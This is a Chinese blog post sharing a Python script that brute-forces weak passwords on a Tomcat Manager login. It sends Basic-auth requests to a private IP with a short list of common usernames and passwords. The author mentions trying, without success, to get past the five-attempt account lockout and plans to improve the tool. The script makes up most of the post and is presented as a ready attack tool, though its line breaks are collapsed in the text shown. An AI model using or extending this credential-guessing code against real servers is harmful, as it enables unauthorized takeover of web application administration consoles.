博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Tomcat口令猜解工具【Python脚本】
阅读量:7026 次
发布时间:2019-06-28

本文共 1102 字,大约阅读时间需要 3 分钟。

Tomcat 服务器网页部署,登录需用户名/密码,编写了一个简单的Python脚本来测试一些简单的弱口令。

测试环境:Tomcat版本 7.0

登录界面采用basic认证,Base 64加密一下,模拟浏览器进行发包

据测试,每个用户名输入5次错误的密码会锁定用户,想了一些办法,还是没能绕过,这里做个记录,有时间再完善。

目前只能用于简单的弱口令测试

Python脚本如下:

import urllibimport urllib2import timeimport base64 names=['admin','tomcat']passwds=['','admin','tomcat','123456','root']for name in names:     name=name.rstrip()    for passwd in passwds:          passwd=passwd.rstrip()        user_agent = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)"          Authorization = "Basic %s" % (base64.b64encode(name+':'+passwd))        header = { 'User-Agent' : user_agent , 'Authorization':Authorization}          try:                    url = "http://192.168.106.137:8080/manager/html"            request = urllib2.Request(url,headers=header)            response = urllib2.urlopen(request,timeout=5)            result=response.read()            if response.code ==200:                print '[Success] '  + url+' '+name+':'+passwd           break                                        except:             print '[false111] '  + url+' '+name+':'+passwd             time.sleep(1)

 

转载地址:http://xxlxl.baihongyu.com/

你可能感兴趣的文章
MFC学习笔记之三(粒子系统+怪物简单AI+碰撞检测)
查看>>
ios xmpp研究探索:发送文本消息
查看>>
费用流模板
查看>>
Makefile规则详解
查看>>
明星讲师心石闪耀ArchSummit大会 | 手机淘宝构架演化实践
查看>>
【Android开发】网路编程及Internet应用-从指定网站上下载文件
查看>>
PHP7源码笔记一
查看>>
扩展欧几里得算法求方程特解
查看>>
Android屏幕适配思路总结
查看>>
基于刮刮卡Vue组件发布一个NPM包
查看>>
QPM 之缘起
查看>>
实现Android监控任意控件或按键双击事件方法
查看>>
2018年终总结_四年计算机科班学习经验分享+半年工作感悟 | 掘金年度征文
查看>>
国外五个免费版权音乐网站
查看>>
python中对文件的操作
查看>>
写了一个下拉刷新插件
查看>>
数据展示方式之树形展示+H5拖动效果
查看>>
汇编语言学习与记录(3)
查看>>
设计模式: Java中的工厂设计模式
查看>>
无缝轮播的实现思路
查看>>